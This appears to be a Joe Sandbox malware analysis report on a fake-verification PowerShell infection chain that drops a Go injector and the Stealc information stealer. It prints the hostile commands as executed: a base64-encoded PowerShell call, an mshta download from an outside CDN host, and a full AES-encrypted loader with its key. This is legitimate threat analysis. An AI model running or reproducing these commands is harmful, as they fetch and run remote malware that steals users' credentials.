2024-08-10 17:10:06 UTC	16384	IN	Data Raw: c0 8e 66 84 bb e3 42 8d d3 70 28 79 1a 0e ed f5 a0 72 86 b1 f3 67 e0 10 ef 0c 16 8e 25 6b 5b f6 e6 d6 27 5d 94 1f 68 dc 25 bb c8 1d e5 3d fe c9 a7 32 f3 77 1d 50 32 4d b0 f2 76 d7 8d dd 9e 6e 20 3b 06 e4 3b cd fc 7b 7b 8a b0 f2 1b 41 7a e9 2f fc dd 7b b4 27 66 17 2f c2 e3 ef ed 61 9f dd bb 3d 62 58 79 4b ff d2 1e 01 20 db 06 f0 2a ce fe 7b 7b 7c b1 f2 63 40 ba 06 0b c7 96 f5 b7 f6 d8 ec e2 d5 d9 a3 3d 53 ff d2 1e c4 dc 9f bc dd 75 07 ef 21 4f 7a 6e 6f 79 9a 58 79 f4 73 7b db 27 0b c8 0e 06 f9 26 73 7b db 07 55 7b 32 56 7e 23 48 2f 01 d0 9c 87 ff 43 36 b4 4b 36 ce 5f f4 0e de 55 a6 11 f0 c1 ff d6 ff f3 7f 97 8d 92 29 86 95 f7 3f e9 b2 b4 47 bf b9 ed 21 1f 45 0d c7 ca db 4b 36 b6 1d e9 ef e3 42 6d 80 2f 6b 7e 6f 7b a0 7d 0b 76 fe 02 56 7a 4b 06 f4 17 3d db Data Ascii: fBp(yrg%k[']h%=2wP2Mvn ;;{{Az/{'f/a=bXyK *{{\|c@=Su!OznoyXys{'&s{U{2V~#H/C6K6_U)?G!EK6Bm/k~o{}vVzK=
2024-08-10 17:10:07 UTC	16384	IN	Data Raw: b7 50 cb 22 09 b3 af 81 c6 77 f5 12 af 0a 35 2e 5d 1c 53 93 5a 15 eb 68 6f c9 32 87 32 5c 85 5e 2e 76 6e 8f 9d 9b 6f f7 56 f9 19 d7 56 39 b3 74 ae 6d f3 76 c7 d2 94 38 ef b5 a3 c8 b1 34 d3 63 50 15 5c cc 96 5a 36 0b 4f eb 4d b2 b3 a9 ab 61 8e e7 76 5d 05 c7 48 bd 7d 43 e5 a9 8e 85 16 67 89 4e 0d 96 98 11 83 54 cc 54 d5 47 32 b9 21 6a 4d 78 87 c9 fe e2 ad 74 9b f3 2c a5 67 da b5 94 54 dc 2b 0f 07 e2 a9 1e a8 19 81 d2 dc 6c 5d 54 93 35 f2 46 7a 2b 59 d7 b7 c8 8f f4 be 20 4b 90 47 9f 58 99 bb 3f 56 ed 35 67 ac 5a 1f 86 aa 35 3f d4 e6 5d 09 33 54 b2 9f 16 04 1a 4d 55 a7 4f 85 7d 6a aa ca a3 e1 97 dd 19 30 c3 ed 1d 31 33 b5 d3 f6 9b 78 56 4e bd c1 ff f4 4e fb 67 6d 72 44 24 37 f3 ed d1 e4 7f 67 ab ae c4 d2 4a a4 81 7e c2 b6 c1 a7 96 1d 6f 3e 71 4d 78 45 6a 04 Data Ascii: P"w5.]SZho22\^.vnoVV9tmv84cP\Z6OMav]H}CgNTTG2!jMxt,gT+l]T5Fz+Y KGX?V5gZ5?]3TMUO}j013xVNNgmrD$7gJ~o>qMxEj
2024-08-10 17:10:07 UTC	16384	IN	Data Raw: ad 7c d0 b6 0a d0 ef e0 dc 01 80 09 95 c4 3e 4f 03 78 bf 92 28 ab 53 00 5d aa 80 6e 82 63 7c 01 4e 55 6d fa 82 6a 20 17 d7 c1 36 28 af 04 f8 0a 10 3b d2 06 80 0c 35 40 26 15 d0 04 d4 01 44 a9 80 26 60 0c 20 8c 02 9a 80 99 9b 3c 82 3b 6a 89 3c 82 bb 00 c9 29 a0 09 f8 76 b3 9c 80 37 88 3c 82 a6 9b 3c 82 a7 37 79 04 c7 ea 88 3c 82 7a f5 44 1e 41 87 4d 1e c1 85 4d 1e 41 96 06 22 8f e0 6a 23 f0 6b 0a 68 02 da 35 11 db 80 a0 69 f3 66 bf 01 0c 68 26 da 52 04 af 02 8a 52 40 13 f0 06 a0 74 c0 b7 02 fc da 0e f4 1a f4 03 d4 01 ec 67 c7 a6 fd 04 f8 01 50 3d 52 de 09 64 be 0b e8 02 e0 5b 01 8a 76 13 c7 08 06 a8 df 03 fc 32 a8 c7 18 60 78 0f d1 cf ea 0e 83 f1 19 26 8e 57 3a c0 5b 9b 7c 07 40 d4 08 f1 18 52 80 72 9b 3c 82 fb 36 79 63 80 21 9b 3c 82 29 9b 7c 1a c0 a5 11 Data Ascii: \|>Ox(S]nc\|NUmj 6(;5@&D&` <;j<)v7<<7y<zDAMMA"j#kh5ifh&RR@tgP=Rd[v2`x&W:[\|@Rr<6yc!<)\|

Target ID:	0
Start time:	13:09:57
Start date:	10/08/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\verification.b-cdn.net.ps1"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	13:09:57
Start date:	10/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	13:09:59
Start date:	10/08/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -eC bQBzAGgAdABhACAAIgBoAHQAdABwAHMAOgAvAC8AYgBpAGQAdgBlAHIAdABpAHMAZQByAC4AYgAtAGMAZABuAC4AbgBlAHQALwBzAG0AYQByAHQAMQAiAA==
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	13:09:59
Start date:	10/08/2024
Path:	C:\Windows\System32\mshta.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\mshta.exe" https://bidvertiser.b-cdn.net/smart1
Imagebase:	0x7ff725720000
File size:	14'848 bytes
MD5 hash:	0B4340ED812DC82CE636C00FA5C9BEF2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	13:10:01
Start date:	10/08/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	13:10:03
Start date:	10/08/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function HbAHmnxA($ZzZovm){return -split ($ZzZovm -replace '..', '0x$& ')};$PEcdKn = HbAHmnxA('649390CFEBE1770BAA5146DE729123CCD838E758E4276A363F637B3AAF033337AC0657955271E9550F501406601E1A41860E46E19B664FF95794FF1F3D04636BD08F0C38C4B63E80890B016BD8AB0B78879EF113B89A3F38F6F895DE87AEA8D3B7F0CCEB19C1832E835097ECCB2C36890967C12BEB560476870CFCA3B2026770977E5BFC6237BA383AB0C9BC4FEE55E653DB382E41C9866A6C0222D784911F31EBB65E3730429D060FF2E1FCA15D8F85018D75055E5F3D7F26332EE40768EC9BAFDC24FC0691D6B57AB81120A83FF0208197B7794EB8E48F081D5265C2EDE5BE7C897C05ABF2349EBA71B3759948F6CC4E3D2AA8CB8B87BC3EF6DD53F55E24B1A14B06982580B23E1CDC89A89E5FC9AEBCC45162B160BDD6D1DD820E751C213F642E6174AB940A544437CBD4B95F451F49854521B6B5F25DC2958288B9E8AE3E84EC687BF5FD542FD21B03B728755D38B9F795538690A1731AD87A4FF035E0E4DF4D5D5926749BCC457636F04DB20D58FEF916462DCAC2915FF336ECE4C613138832FB8CB53EC4DDA139297818B53354F21F92E9A237CDEA5EBA27FD7E08ABAD8BC364C8AC9D4DA7EF88987044E30E52F804D80E2DCF76EB0C85804D4469E0F07C9E5CE26611DE49AD0BB0333D282354BE10F943982430B1169A615E79E3E0C5EC79DA387AD53EAF2FD764DBB293F0EF18D616EEF99C38992715145D16CA68D09F1D913D460445AD05E1641EE4AC2B1E944F7FF45B6C7C51974DECC8B09B1CCBDC8ED7174A14C70F59EA9B96E93E8A336D668FF3C2DC68D75472553892C38D8F32E86361D381E1EE6E6E1BCA21FA73FC43DDDAFCED280453E7B5D154F59EF2BE213C2656F282EABC6A8D2F17A8B47C539E9817820B02E234FD821466297478CF4C06BF88B97D45DCF3E4C807DE237AD7614DCD6332D4DE950C177646C50F08062E130279ECE8B08C9945A79ECF6C4B88024A24DC840A12E22F404F56B7C13E2F9DC8AADEB49ECC7A67AE9983475129E57AFB8D0F9326B22E9B79AAA56DB3EEC92EA9708998095778497441E15D7795F50116CF78185726E9A7F7A3E40D436D50F77BDA8DDDBFD8CEBB4C758EA3595453635FE911BA9691EB0E2A28529D8C4B9E2D50DD40CBDBC57F9D07995096EB6B48448429C1F014B7BDF9146EC21A79ADA827E6590D159548021642354333FC8154696C9E79B4CDA3E5D22551F1F2387AAA9CE4464C571969727F845599B1BD312EB356A5E140EC6F91912B1227B9F3A941727413D53C0FE2B26DE40BB2B36462055BBF7E8A6B8281CC7FFD4048A1CD97104C3A63FF87CE63106EF7443D01D5FCE1FD67A7E73EE2A8F2CD2EFED7B4A7796DB2328BD317F0349F8B606845CBF4FC0F73D45630EF3466836C0A93133F760481FB4E2F4E46DBFF6A7AA0455989567090A3EBB373F3EC52B5EE0558518BC12408677670492BEA93021308DF47CD62CF99B8E473176B2965284653204CE093A6D8CE56300896793A61754D407EB838A56372881C0664AF37F1E9500BBAC243013C5F5953ABE1CD43347B87C2D6ED6169C7B0D8242DE3ED14C3F856F471A13CEFE0993EE315D5305CC2AC9054976C9CA5A6');$jqkxh = [System.Security.Cryptography.Aes]::Create();$jqkxh.Key = HbAHmnxA('52615577706262664D6D43476F4F4344');$jqkxh.IV = New-Object byte[] 16;$SpkOqCAK = $jqkxh.CreateDecryptor();$cWklkDGxO = $SpkOqCAK.TransformFinalBlock($PEcdKn, 0, $PEcdKn.Length);$mTmnXpOAf = [System.Text.Encoding]::Utf8.GetString($cWklkDGxO);$SpkOqCAK.Dispose();& $mTmnXpOAf.Substring(0,3) $mTmnXpOAf.Substring(3)
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	13:10:03
Start date:	10/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	13:10:17
Start date:	10/08/2024
Path:	C:\Users\user\AppData\Roaming\0SmartAssem.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Roaming\0SmartAssem.exe"
Imagebase:	0x7ff74ca60000
File size:	14'349'824 bytes
MD5 hash:	517C4A0A27D1C022A3319AF316407810
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Go lang
Yara matches:	Rule: Msfpayloads_msf_9, Description: Metasploit Payloads - file msf.war - contents, Source: 00000008.00000002.1996165603.000000C000380000.00000004.00001000.00020000.00000000.sdmp, Author: Florian Roth Rule: JoeSecurity_GoInjector_2, Description: Yara detected Go Injector, Source: 00000008.00000000.1897589705.00007FF74D0EC000.00000002.00000001.01000000.00000011.sdmp, Author: Joe Security Rule: JoeSecurity_GoInjector_2, Description: Yara detected Go Injector, Source: 00000008.00000002.2003314361.00007FF74D0EC000.00000002.00000001.01000000.00000011.sdmp, Author: Joe Security Rule: JoeSecurity_GoInjector_2, Description: Yara detected Go Injector, Source: C:\Users\user\AppData\Roaming\0SmartAssem.exe, Author: Joe Security
Antivirus matches:	Detection: 18%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	13:10:27
Start date:	10/08/2024
Path:	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
Imagebase:	0x6e0000
File size:	231'736 bytes
MD5 hash:	A64BEAB5D4516BECA4C40B25DC0C1CD8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000B.00000002.2079531848.00000000032B7000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	true

Show Windows behavior

Function 00007FFD9B8933B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1735351085.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b890000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 08da065673a25bdeb927b4c2f952ba14616e05d90be0e25124618a69153761d0
Instruction ID: 790f53b18bf535405e1566ca4fc67868e3ace26fd97990e01e1bad52e7daa871
Opcode Fuzzy Hash: 08da065673a25bdeb927b4c2f952ba14616e05d90be0e25124618a69153761d0
Instruction Fuzzy Hash: 7401A73020CB0C4FDB48EF0CE451AA6B7E0FB89320F10056DE58AC36A1DA32E882CB41

Analysis Process: powershell.exePID: 4108, Parent PID: 7100COMMON

Executed Functions

Function 00007FFD9B8A33B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1725285083.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffd9b8a0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e0cd8e44b86cda1606cdcda3d5cd9c82b965f1b77ca43a9ede1ee8a995a9426
Instruction ID: 2d8e5c199f5335979778887b622e34919a8febb75adba4d6537578fae4bb4e89
Opcode Fuzzy Hash: 5e0cd8e44b86cda1606cdcda3d5cd9c82b965f1b77ca43a9ede1ee8a995a9426
Instruction Fuzzy Hash: 8601677121CB0D4FD748EF0CE451AA6B7E0FB99364F10056DE58AC36A5DA36E882CB45

Analysis Process: mshta.exePID: 7172, Parent PID: 4108COMMON

Executed Functions

Function 000002376F810FA9 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000003.2359062498.000002376F810000.00000010.00000800.00020000.00000000.sdmp, Offset: 000002376F810000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_3_2376f810000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1634a2d688d49a259143009c50f36abdfda0d9cf4fcfe9a0a55bebbf17c78759
Instruction ID: 4f2e2da35085cc787484103cf7c442a14316674796d004457b72a027de24d145
Opcode Fuzzy Hash: 1634a2d688d49a259143009c50f36abdfda0d9cf4fcfe9a0a55bebbf17c78759
Instruction Fuzzy Hash: E090024449DD0B55D82551910C5B25C50446388190FD465C0541690184D44D03B66652

Function 000002376F810FB1 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000003.2359062498.000002376F810000.00000010.00000800.00020000.00000000.sdmp, Offset: 000002376F810000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_3_2376f810000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1634a2d688d49a259143009c50f36abdfda0d9cf4fcfe9a0a55bebbf17c78759
Instruction ID: 4f2e2da35085cc787484103cf7c442a14316674796d004457b72a027de24d145
Opcode Fuzzy Hash: 1634a2d688d49a259143009c50f36abdfda0d9cf4fcfe9a0a55bebbf17c78759
Instruction Fuzzy Hash: E090024449DD0B55D82551910C5B25C50446388190FD465C0541690184D44D03B66652

Function 000002376F810FB9 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000003.2359062498.000002376F810000.00000010.00000800.00020000.00000000.sdmp, Offset: 000002376F810000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_3_2376f810000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1634a2d688d49a259143009c50f36abdfda0d9cf4fcfe9a0a55bebbf17c78759
Instruction ID: 4f2e2da35085cc787484103cf7c442a14316674796d004457b72a027de24d145
Opcode Fuzzy Hash: 1634a2d688d49a259143009c50f36abdfda0d9cf4fcfe9a0a55bebbf17c78759
Instruction Fuzzy Hash: E090024449DD0B55D82551910C5B25C50446388190FD465C0541690184D44D03B66652

Analysis Process: BitLockerToGo.exePID: 7916, Parent PID: 7716COMMON

Execution Graph

Execution Coverage:	13.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0.7%
Total number of Nodes:	1508
Total number of Limit Nodes:	3

Executed Functions

Function 03054610 Relevance: 112.1, APIs: 34, Strings: 30, Instructions: 114
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0306649B), ref: 0305461C
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0306649B), ref: 03054627
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0306649B), ref: 03054632
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0306649B), ref: 0305463D
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0306649B), ref: 03054648
GetProcessHeap.KERNEL32(00000000,?,?,0000000F,?,0306649B), ref: 03054657
RtlAllocateHeap.NTDLL(00000000,?,0000000F,?,0306649B), ref: 0305465E
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0306649B), ref: 0305466C
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0306649B), ref: 03054677
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0306649B), ref: 03054682
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0306649B), ref: 0305468D
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0306649B), ref: 03054698
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0306649B), ref: 030546AC
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0306649B), ref: 030546B7
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0306649B), ref: 030546C2
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0306649B), ref: 030546CD
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0306649B), ref: 030546D8
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 03054701
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 0305470C
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 03054717
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 03054722
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 0305472D
strlen.MSVCRT ref: 03054740
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 03054768
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 03054773
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 0305477E
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 03054789
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 03054794
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 030547A4
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 030547AF
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 030547BA
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 030547C5
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 030547D0
VirtualProtect.KERNELBASE(?,00000004,00000100,00000000), ref: 030547EC

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 030547B5
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0305467D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 03054728
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0305476E
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 03054779
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 030547C0
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0305471D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 03054638
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 03054688
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0305479F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 03054622
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0305462D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0305478F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 030547CB
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 030546C8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 03054672
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 030546D3
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 03054693
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 03054667
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 03054712
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 03054763
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 030547AA
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 030546FC
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 03054617
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 03054643
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 030546B2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 03054784
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 030546A7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 03054707
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 030546BD

Memory Dump Source

Source File: 0000000B.00000002.2079380836.0000000003050000.00000040.00000400.00020000.00000000.sdmp, Offset: 03050000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_3050000_BitLockerToGo.jbxd

Similarity

API ID: lstrlen$Heap$AllocateProcessProtectVirtualstrlen
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United 